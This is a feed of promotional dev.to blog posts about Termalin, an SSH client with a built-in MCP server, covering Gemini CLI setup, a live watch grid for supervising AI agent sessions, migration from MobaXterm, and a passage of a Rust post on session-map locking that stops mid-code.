&lt;p&gt;Google's Gemini CLI is a capable agent in a terminal, and like the other coding agents it eventually needs to leave your laptop and touch a real server — restart a service, tail a log, run the deploy on the box itself. The tempting shortcut is to let it run &lt;code&gt;ssh&lt;/code&gt; directly: the CLI already executes shell commands, so if a key sits unlocked in &lt;code&gt;~/.ssh&lt;/code&gt; or a running &lt;code&gt;ssh-agent&lt;/code&gt;, &lt;code&gt;ssh prod&lt;/code&gt; works for it whether or not you meant to grant that. That's the whole problem in one line — you gave away full server access by default.&lt;/p&gt;

&lt;p&gt;Gemini CLI has a cleaner path built in: it speaks &lt;a href="https://termal.in/blog/what-is-an-mcp-server/" rel="noopener noreferrer"&gt;MCP&lt;/a&gt;, the same protocol &lt;a href="https://termal.in/blog/connect-claude-code-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;, &lt;a href="https://termal.in/blog/cursor-ssh-access-for-agents/" rel="noopener noreferrer"&gt;Cursor&lt;/a&gt; and &lt;a href="https://termal.in/blog/connect-codex-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Codex&lt;/a&gt; use. Termalin is an SSH client with a built-in MCP server, so you point Gemini at that server and it works your hosts for real — while the agent never holds a key. About twenty minutes, one host.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you need
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Termalin&lt;/strong&gt; — the desktop app; the &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;Free tier is fine&lt;/a&gt;. Its built-in MCP server is what Gemini talks to.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Gemini CLI&lt;/strong&gt;, on the same machine.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One host&lt;/strong&gt; saved in Termalin — something low-stakes for the first run.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 1 — turn on agent access and set a policy
&lt;/h2&gt;

&lt;p&gt;Agent access is &lt;strong&gt;off by default&lt;/strong&gt;. In Termalin, open &lt;strong&gt;Settings → MCP&lt;/strong&gt;, enable it, and tick the hosts Gemini may reach. Nothing outside that list exists as far as the agent is concerned — a new host is a decision you make in the app, not something the agent can talk its way into.&lt;/p&gt;

&lt;p&gt;Under the hood, Termalin writes a host inventory for the MCP server with &lt;strong&gt;agent-only auth entries — no passwords or keys land in that file&lt;/strong&gt; — and authentication stays with the app's key custodian: you unlock once, and Termalin signs on the agent's behalf. There's no key file for Gemini to read, so there's nothing to leak, and the &lt;code&gt;~/.ssh&lt;/code&gt; back door above closes with it.&lt;/p&gt;

&lt;p&gt;While you're there, set each host's &lt;strong&gt;agent policy&lt;/strong&gt;: full access, an allowlist of commands, or blocked. Start with an allowlist for anything you care about — the &lt;a href="https://termal.in/blog/per-host-command-allowlists-for-ai-agents/" rel="noopener noreferrer"&gt;least-privilege setup is its own short post&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — register the server in Gemini's settings
&lt;/h2&gt;

&lt;p&gt;Gemini CLI reads MCP servers from the &lt;code&gt;mcpServers&lt;/code&gt; object in its settings file — &lt;code&gt;~/.gemini/settings.json&lt;/code&gt; for all your projects, or a project-local &lt;code&gt;.gemini/settings.json&lt;/code&gt;. Add one entry pointing at the bundled &lt;code&gt;termalin-mcp&lt;/code&gt; binary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mcpServers"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"termalin"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;path&amp;gt;/termalin-mcp"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the whole integration. Restart Gemini CLI (or reload its MCP servers), and the tools appear to the agent: &lt;code&gt;hosts_list&lt;/code&gt;, &lt;code&gt;ssh_exec&lt;/code&gt;, persistent sessions (&lt;code&gt;session_open&lt;/code&gt; / &lt;code&gt;session_exec&lt;/code&gt;), SFTP reads and writes, and port forwards. Run &lt;code&gt;/mcp&lt;/code&gt; in Gemini to confirm the server is connected and see the tools it exposes. The &lt;a href="https://termal.in/docs/mcp-tools/" rel="noopener noreferrer"&gt;full tool list&lt;/a&gt; documents every one.&lt;/p&gt;

&lt;p&gt;If you'd rather not wire MCP at all, there's a lighter option: Termalin has a local terminal tab, so you can just type &lt;code&gt;gemini&lt;/code&gt; and run the CLI right inside the app next to your SSH sessions. That gives you Gemini in the same window — but it's the MCP setup above that lets Gemini act &lt;em&gt;on your servers&lt;/em&gt; through the custodian, which is the part that keeps your keys out of its reach.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — give it a real chore
&lt;/h2&gt;

&lt;p&gt;Skip the demo. Hand it something real:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The deploy to &lt;em&gt;staging-1&lt;/em&gt; finished but the health check keeps flapping. Find out why and fix it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Gemini calls &lt;code&gt;hosts_list&lt;/code&gt;, sees &lt;code&gt;staging-1&lt;/code&gt;, opens a session, and starts pulling threads — service status, the last hundred log lines, the config diff against what's running. It proposes a fix, applies it within the policy you set, and confirms the check goes green.&lt;/p&gt;

&lt;p&gt;What makes this comfortable rather than nerve-wracking is that you can watch it. Turn on &lt;strong&gt;Agent in Terminal&lt;/strong&gt; in Settings and Gemini can work in the app's own terminal tabs (&lt;code&gt;terminal_open&lt;/code&gt; / &lt;code&gt;terminal_run&lt;/code&gt;): each tab it opens is marked as the agent's, and the &lt;strong&gt;&lt;a href="https://termal.in/blog/watch-many-ssh-agent-sessions-live/" rel="noopener noreferrer"&gt;watch grid&lt;/a&gt;&lt;/strong&gt; puts all open sessions side by side with the agent's tiles glowing, so you see the commands land and can step in at any point. Its headless calls (&lt;code&gt;ssh_exec&lt;/code&gt;, &lt;code&gt;session_*&lt;/code&gt;) don't open a tab; they run straight from the MCP server, inside the host list and policy you set.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the boundaries are
&lt;/h2&gt;

&lt;p&gt;Defaults worth knowing before you point it at anything that matters:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Your keys never enter Gemini's environment.&lt;/strong&gt; The custodian signs; the agent requests. Revoking access is a toggle in Settings, not a key rotation across your fleet.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Its reach is the host list&lt;/strong&gt; you ticked in Step 1, and each host's command policy bounds what it can run there. "Full" on production is still a full shell — set it deliberately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Typing into &lt;em&gt;your&lt;/em&gt; session is separate.&lt;/strong&gt; By default Gemini opens its own sessions; joining one you already have open is its own consent toggle.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Watch it, or record it.&lt;/strong&gt; Agent work in the app's terminal tabs is visible live and can be recorded — output only, never keystrokes. &lt;a href="https://termal.in/blog/audit-what-an-ai-agent-does-on-your-servers/" rel="noopener noreferrer"&gt;How auditing an agent works&lt;/a&gt; covers the rest.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When Gemini runs in the cloud
&lt;/h2&gt;

&lt;p&gt;If Gemini is running where your desktop isn't — a CI job, a cloud sandbox — the local binary isn't reachable, but Termalin's &lt;strong&gt;hosted MCP endpoint&lt;/strong&gt; is (on Pro, or the 14-day trial). Mint an API key in the web cabinet, scope it to the right servers, set it read-only or to an allowlist, give it an expiry, and point the agent at &lt;code&gt;https://termal.in/api/v1/mcp&lt;/code&gt;. It reaches your &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;Connector-enrolled servers&lt;/a&gt; keyless, authenticating each run with a short-lived certificate — the &lt;a href="https://termal.in/blog/agent-ssh-access-in-ci-cd/" rel="noopener noreferrer"&gt;full CI/CD pattern is here&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The habit that makes it stick
&lt;/h2&gt;

&lt;p&gt;Treat the first week like onboarding a fast teammate. Keep the watch grid open, give Gemini chores with a clear done-state, and read how it gets there before widening anything. The trade is the point: Gemini gets real reach on your servers, and you keep the one thing — the keys — that can't be handed back once it's out.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a cross-platform SSH client with a built-in MCP server, a key custodian and &lt;a href="https://termal.in/ssh-for-ai-agents/" rel="noopener noreferrer"&gt;per-host agent policy&lt;/a&gt; — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, read the &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;MCP reference&lt;/a&gt;, or see how it &lt;a href="https://termal.in/security/" rel="noopener noreferrer"&gt;handles keys&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>gemini</category>
      <category>mcp</category>
      <category>ai</category>
      <category>ssh</category>
    </item>
    <item>
      <title>Watch many SSH sessions at once — a live grid for humans and agents</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Tue, 06 Oct 2026 18:08:47 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/watch-many-ssh-sessions-at-once-a-live-grid-for-humans-and-agents-3l6n</link>
      <guid>https://dev.to/wolfhound1995/watch-many-ssh-sessions-at-once-a-live-grid-for-humans-and-agents-3l6n</guid>
      <description>&lt;p&gt;&lt;em&gt;tmux and csshX tile your terminals; Termalin's watch grid tiles every open SSH session as a live view and glows the ones an AI agent is driving.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Anyone who has run more than a couple of servers knows the failure mode: eight terminal windows, a deploy going out across four of them, and no single place to see whether it's working. The old answers — &lt;code&gt;tmux&lt;/code&gt; panes, &lt;code&gt;csshX&lt;/code&gt;, a wall of iTerm splits — tile terminals so you can glance across them. They work, and they stop working the moment the thing you're watching isn't just &lt;em&gt;you&lt;/em&gt;. When an AI agent is driving some of those sessions, "glance across the panes" isn't enough: you need to know &lt;em&gt;which&lt;/em&gt; sessions are the agent's, and you need to be able to step in. That's what a watch grid is for.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem tmux solves, and the one it doesn't
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;tmux&lt;/code&gt; and &lt;code&gt;csshX&lt;/code&gt; are about &lt;em&gt;your&lt;/em&gt; attention across &lt;em&gt;your&lt;/em&gt; sessions. Broadcast a command to a set of panes, watch the outputs line up, done. It's a genuinely good tool for fan-out work — patch twelve boxes, tail a log on all of them at once.&lt;/p&gt;

&lt;p&gt;What they don't model is &lt;em&gt;authorship&lt;/em&gt;. Every pane is you; there's no notion of "this session is being driven by something else, and I'm supervising it." In 2026 that's the gap, because more and more of the sessions on your machine are opened by an agent — &lt;a href="https://termal.in/blog/connect-claude-code-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;, &lt;a href="https://termal.in/blog/connect-codex-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Codex&lt;/a&gt;, &lt;a href="https://termal.in/blog/connect-gemini-cli-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Gemini&lt;/a&gt; — working a host through an &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;MCP server&lt;/a&gt;. A pane full of commands you didn't type needs a different kind of attention than one you did.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the watch grid does
&lt;/h2&gt;

&lt;p&gt;Termalin's &lt;a href="https://termal.in/watch-grid/" rel="noopener noreferrer"&gt;watch grid&lt;/a&gt; is one screen that mirrors &lt;strong&gt;every open session as a live tile&lt;/strong&gt;. Not a summary, not a status dot — the actual terminal, updating as output arrives, laid out side by side. Two things make it more than a pretty &lt;code&gt;tmux&lt;/code&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Agent-driven tiles glow.&lt;/strong&gt; A session an AI agent is running is visually marked, in real time, while it acts. You don't have to remember which tab you handed to the agent; the grid tells you at a glance, across the whole fleet if need be.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You can step in.&lt;/strong&gt; A tile isn't a read-only feed. See the agent heading somewhere you don't like, and you drop into that session and take over — the same session, live, no reconnecting. Supervision, not just observation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;Which agents show up here: ones working through Termalin's local MCP server inside the app's own sessions (the "Agent in Terminal" switch). Calls from a hosted chat connector, such as Claude or ChatGPT in the browser, run one by one on the server and land in the audit log instead of a tile.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Because every session stays alive in the background whether or not it's on screen, switching to a tile is instant and nothing is lost when you look away. (Keeping dozens of live SSH sessions responsive at once is its own engineering problem — we wrote up &lt;a href="https://termal.in/blog/take-it-out-of-the-map-rust-sessions/" rel="noopener noreferrer"&gt;how the session store stays lock-free under that load&lt;/a&gt;.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Why "glowing" matters more than it sounds
&lt;/h2&gt;

&lt;p&gt;The live view changes what supervision costs. Without it, letting an agent work a server is an act of faith punctuated by reading a summary afterward — and a summary is &lt;a href="https://termal.in/blog/audit-what-an-ai-agent-does-on-your-servers/" rel="noopener noreferrer"&gt;written by the thing you're supervising&lt;/a&gt;, so it's the least trustworthy possible record. With a grid where agent sessions glow, oversight is ambient: you see the commands land as they happen, and a steered agent — one talked into something by a poisoned log line or filename — gets caught in the seconds it takes to notice, not in a postmortem. It doesn't lower the odds of a bad instruction; it collapses the time between the instruction and you seeing it.&lt;/p&gt;

&lt;p&gt;That's the same argument as recording, one step earlier in time. Recording lets you answer "what did it do?" after the fact; the watch grid lets you answer "what is it doing?" right now, and intervene. Together they're the &lt;a href="https://termal.in/blog/agent-ssh-access-blast-radius/" rel="noopener noreferrer"&gt;blast-radius&lt;/a&gt; safety net: a &lt;a href="https://termal.in/blog/per-host-command-allowlists-for-ai-agents/" rel="noopener noreferrer"&gt;per-host policy&lt;/a&gt; bounds what the agent &lt;em&gt;can&lt;/em&gt; do, the grid shows you what it &lt;em&gt;is&lt;/em&gt; doing, and the marked recording proves what it &lt;em&gt;did&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  For a human fleet, too
&lt;/h2&gt;

&lt;p&gt;None of this is agent-only. The grid is also just a good way to run several servers at once:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A deploy across a set of hosts&lt;/strong&gt; — watch all of them go green (or one of them not) in one view, instead of alt-tabbing to find the straggler.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An incident&lt;/strong&gt; — pull up the affected boxes as tiles, with each one's live CPU, memory and disk in the status bar, so "which node is actually pegged?" is visible, not guessed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Routine fan-out&lt;/strong&gt; — paired with send-to-many input, the grid is the classic &lt;code&gt;csshX&lt;/code&gt; workflow with a modern client around it: &lt;a href="https://termal.in/blog/ssh-into-home-nas-server/" rel="noopener noreferrer"&gt;reach a whole folder of hosts at once&lt;/a&gt;, type once, watch everywhere.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The difference from stitching this together with &lt;code&gt;tmux&lt;/code&gt; and SSH config is that it's one app that already knows your hosts, holds your keys safely, and keeps the sessions alive — so the grid is a button, not a shell script you maintain.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where recording and audit fit
&lt;/h2&gt;

&lt;p&gt;The watch grid is the &lt;em&gt;live&lt;/em&gt; layer; it pairs with the durable one. Every session can be recorded &lt;strong&gt;output-only&lt;/strong&gt; (never keystrokes), with each agent command marked on the replay timeline, and the audit log keeps the who/when/from-where — the same client-side approach that makes &lt;a href="https://termal.in/blog/record-audit-ssh-sessions-bastion/" rel="noopener noreferrer"&gt;recording and auditing sessions&lt;/a&gt; work through a jump host. Watch live to catch things fast; replay and audit to prove what happened. You want both, and they're the same feature seen at two speeds.&lt;/p&gt;

&lt;h2&gt;
  
  
  The short version
&lt;/h2&gt;

&lt;p&gt;If your reason for tiling terminals is "I have a lot of servers," &lt;code&gt;tmux&lt;/code&gt; and &lt;code&gt;csshX&lt;/code&gt; are fine and free. If some of those sessions are driven by an AI agent — or will be soon — you want a view that marks authorship, lets you take over, and feeds a recording you can trust. That's the watch grid: &lt;a href="https://termal.in/watch-grid/" rel="noopener noreferrer"&gt;see it in motion&lt;/a&gt;, then &lt;a href="https://termal.in/ssh-for-ai-agents/" rel="noopener noreferrer"&gt;set your agents loose&lt;/a&gt; knowing you're watching.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a free, cross-platform SSH client with a live watch grid, output-only recording and a built-in MCP server — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or read how it &lt;a href="https://termal.in/security/" rel="noopener noreferrer"&gt;keeps keys safe&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ssh</category>
      <category>ai</category>
      <category>productivity</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Leaving MobaXterm: take your sessions and keys to macOS or Linux</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Mon, 05 Oct 2026 18:29:23 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/leaving-mobaxterm-take-your-sessions-and-keys-to-macos-or-linux-14ej</link>
      <guid>https://dev.to/wolfhound1995/leaving-mobaxterm-take-your-sessions-and-keys-to-macos-or-linux-14ej</guid>
      <description>&lt;p&gt;&lt;em&gt;Where MobaXterm stores bookmarks and keys, how to export them, and how to land the whole setup in a cross-platform client — plus when to stay.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;MobaXterm earned its following. On Windows it's the Swiss Army knife: tabbed terminal, a real X server, SFTP browser docked beside every shell, and a pile of bundled Unix tools that mean you rarely reach for anything else. If you live on Windows and lean on the X server, you may not need to leave at all — this guide will even tell you when to stay.&lt;/p&gt;

&lt;p&gt;But two itches send people looking. One is the platform wall: MobaXterm is &lt;strong&gt;Windows-only&lt;/strong&gt;, so the day you pick up a Mac or a Linux box, your whole setup stays behind. The other is the opposite of its strength — some people want a fast, focused SSH client, not a toolbox that does everything. Either way, getting out with your sessions, keys and habits intact is a smaller job than it looks. It's written with &lt;a href="https://termal.in/mobaxterm-alternative/" rel="noopener noreferrer"&gt;Termalin&lt;/a&gt; as the destination, but the first half applies to any modern client.&lt;/p&gt;

&lt;h2&gt;
  
  
  Know where MobaXterm keeps your stuff
&lt;/h2&gt;

&lt;p&gt;MobaXterm calls saved sessions &lt;strong&gt;bookmarks&lt;/strong&gt;, and where they live depends on which edition you run:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Installer edition&lt;/strong&gt; — in the Windows registry, under &lt;code&gt;HKEY_CURRENT_USER\Software\Mobatek\MobaXterm&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Portable edition&lt;/strong&gt; — in a &lt;code&gt;MobaXterm.ini&lt;/code&gt; file sitting next to the &lt;code&gt;.exe&lt;/code&gt;. That single file is your whole configuration, which is why the portable build travels on a USB stick.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Private keys&lt;/strong&gt; — wherever you saved them. MobaXterm works with standard OpenSSH keys and with PuTTY's &lt;code&gt;.ppk&lt;/code&gt;, and it ships &lt;strong&gt;MobaKeyGen&lt;/strong&gt; (a PuTTYgen clone) for making and converting them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Saved passwords&lt;/strong&gt; — in MobaXterm's own credential store, protected by its master password. These do not export in plaintext, by design — you'll re-enter them once in the new client.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Step 1 — export the sessions
&lt;/h2&gt;

&lt;p&gt;The portable, any-OS route: open the &lt;strong&gt;Sessions&lt;/strong&gt; sidebar, right-click the top &lt;strong&gt;User sessions&lt;/strong&gt; node, and choose &lt;strong&gt;Export sessions&lt;/strong&gt; to write a &lt;code&gt;.mxtsessions&lt;/code&gt; file (it's plain text — you can open it and read your inventory). That file is what an importer consumes on a Mac or Linux box where the registry doesn't exist.&lt;/p&gt;

&lt;p&gt;In Termalin, open the hosts list's import menu and paste that file or load it — the portable edition's &lt;code&gt;MobaXterm.ini&lt;/code&gt; works too. Bookmarks arrive &lt;strong&gt;with their folders&lt;/strong&gt;, as regular hosts you can sort, tag and colour-label. (The same importer also takes an &lt;code&gt;~/.ssh/config&lt;/code&gt;, a CSV, or a PuTTY &lt;code&gt;.reg&lt;/code&gt; export, and on Windows it can read saved PuTTY sessions straight from the registry, if your setup is a mix.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — bring the keys
&lt;/h2&gt;

&lt;p&gt;Here MobaXterm users are usually in good shape, because MobaXterm already speaks OpenSSH. If your keys are OpenSSH-format &lt;code&gt;id_ed25519&lt;/code&gt; / &lt;code&gt;id_rsa&lt;/code&gt; files, just import them into the new client — done.&lt;/p&gt;

&lt;p&gt;If some keys are in PuTTY's &lt;code&gt;.ppk&lt;/code&gt; format (common if you migrated &lt;em&gt;into&lt;/em&gt; MobaXterm from PuTTY years ago), convert them once: open &lt;strong&gt;MobaKeyGen&lt;/strong&gt;, &lt;code&gt;Load&lt;/code&gt; the &lt;code&gt;.ppk&lt;/code&gt;, and &lt;strong&gt;Export OpenSSH key&lt;/strong&gt; (force the new format — the legacy one predates Ed25519). The passphrase carries over. New to key formats? The &lt;a href="https://termal.in/blog/ssh-key-types-ed25519-vs-rsa/" rel="noopener noreferrer"&gt;Ed25519 vs RSA&lt;/a&gt; explainer is the thirty-second version, and a migration is a fine moment to generate a modern key for anything still on an old RSA one.&lt;/p&gt;

&lt;p&gt;In Termalin the imported keys go into the built-in agent, so it's &lt;strong&gt;one unlock per session of work&lt;/strong&gt; with passphrase caching on a timer you set, the same role MobaXterm's agent played. It speaks the standard ssh-agent protocol on its own per-user pipe or socket, so a CLI pointed at it with &lt;code&gt;SSH_AUTH_SOCK&lt;/code&gt; can sign through it too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — don't blindly re-trust every server
&lt;/h2&gt;

&lt;p&gt;MobaXterm remembers the host keys of servers you've connected to. Don't try to migrate that list. A move is the one natural moment you'll ever get to re-verify what you're actually connecting to. A modern client (Termalin uses trust-on-first-use with a proper &lt;a href="https://termal.in/blog/ssh-host-key-verification-failed/" rel="noopener noreferrer"&gt;&lt;code&gt;known_hosts&lt;/code&gt;&lt;/a&gt;) shows each server's fingerprint on first connect — glance at the ones that matter, accept, move on. Ten minutes for a fleet you'll then trust cleanly for years.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — the habits that carry over (and the one that doesn't)
&lt;/h2&gt;

&lt;p&gt;Most of what you like about MobaXterm has a direct equivalent:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tabs&lt;/strong&gt; — you already think in tabs; you keep them (browser-style, drag to reorder, an activity glow on the quiet ones).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Files beside the shell&lt;/strong&gt; — MobaXterm's docked SFTP browser becomes an SFTP panel in the same tab as the terminal: browse, edit in place with a built-in editor, upload. No second window, no re-entering credentials.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The credential vault&lt;/strong&gt; — replaced by a local encrypted vault with a master password, auto-lock, and (on Windows) Windows Hello to re-unlock.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The one habit that does &lt;strong&gt;not&lt;/strong&gt; carry over: the &lt;strong&gt;bundled X server&lt;/strong&gt;. Termalin deliberately isn't a toolbox — it's a focused client for SSH, SFTP, FTP, Telnet, Serial and S3, and it does not ship an X server or a bag of Unix binaries. If forwarding X11 GUI apps from a server to your Windows desktop is part of your daily work, that's the honest reason to keep MobaXterm installed alongside — use the right tool for that job and let the new client handle the day-to-day.&lt;/p&gt;

&lt;h2&gt;
  
  
  What you gain that MobaXterm can't offer
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The same setup on every OS.&lt;/strong&gt; &lt;a href="https://termal.in/ssh-client-for-windows/" rel="noopener noreferrer"&gt;Windows&lt;/a&gt;, &lt;a href="https://termal.in/ssh-client-for-macos/" rel="noopener noreferrer"&gt;macOS&lt;/a&gt; and &lt;a href="https://termal.in/ssh-client-for-linux/" rel="noopener noreferrer"&gt;Linux&lt;/a&gt; desktops and native iPhone and iPad apps, with your hosts, keys and command history following you — plus a &lt;a href="https://termal.in/web-ssh-client/" rel="noopener noreferrer"&gt;browser cabinet&lt;/a&gt; at &lt;code&gt;termal.in/account&lt;/code&gt; for a real terminal from any laptop, phone or tablet with no install. That's the wall MobaXterm can't cross.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Encrypted sync instead of a USB stick (Pro).&lt;/strong&gt; Your vault syncs end-to-end encrypted, so the sync server only ever holds ciphertext — the modern version of carrying &lt;code&gt;MobaXterm.ini&lt;/code&gt; around.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An agent layer.&lt;/strong&gt; A built-in &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;MCP server&lt;/a&gt; lets an AI agent — &lt;a href="https://termal.in/blog/connect-claude-code-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;, Cursor, Codex — work your servers through the app without ever holding a key, under a per-host policy you set and mirrored in a live watch grid.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On price: MobaXterm's Professional license is a one-time &lt;strong&gt;$69&lt;/strong&gt;. Termalin's Free tier is the whole desktop app, local, with no host limits; Pro (the encrypted cloud) is &lt;strong&gt;$8/mo billed yearly&lt;/strong&gt;, with a one-time lifetime deal during the beta and a 14-day trial that needs no card. Different models — pick the one that fits how you like to pay.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin runs on Windows, macOS, Linux and iOS; the Free tier has no host limits and imports a MobaXterm sessions export with its folders — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or see the full &lt;a href="https://termal.in/mobaxterm-alternative/" rel="noopener noreferrer"&gt;MobaXterm comparison&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>mobaxterm</category>
      <category>ssh</category>
      <category>migration</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Take it out of the map: keeping a shared session store lock-free during slow work</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Sun, 04 Oct 2026 16:27:10 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/take-it-out-of-the-map-keeping-a-shared-session-store-lock-free-during-slow-work-h3o</link>
      <guid>https://dev.to/wolfhound1995/take-it-out-of-the-map-keeping-a-shared-session-store-lock-free-during-slow-work-h3o</guid>
      <description>&lt;p&gt;&lt;em&gt;An SSH client keeps every live session in a shared map behind a lock. Holding it through a slow handshake froze every other session — here's the Rust fix.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Here's a shape you'll recognise if you've ever put "a bunch of live things" behind one lock. An SSH client keeps its open sessions in a single map:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;SessionManager&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HashMap&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SshSession&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

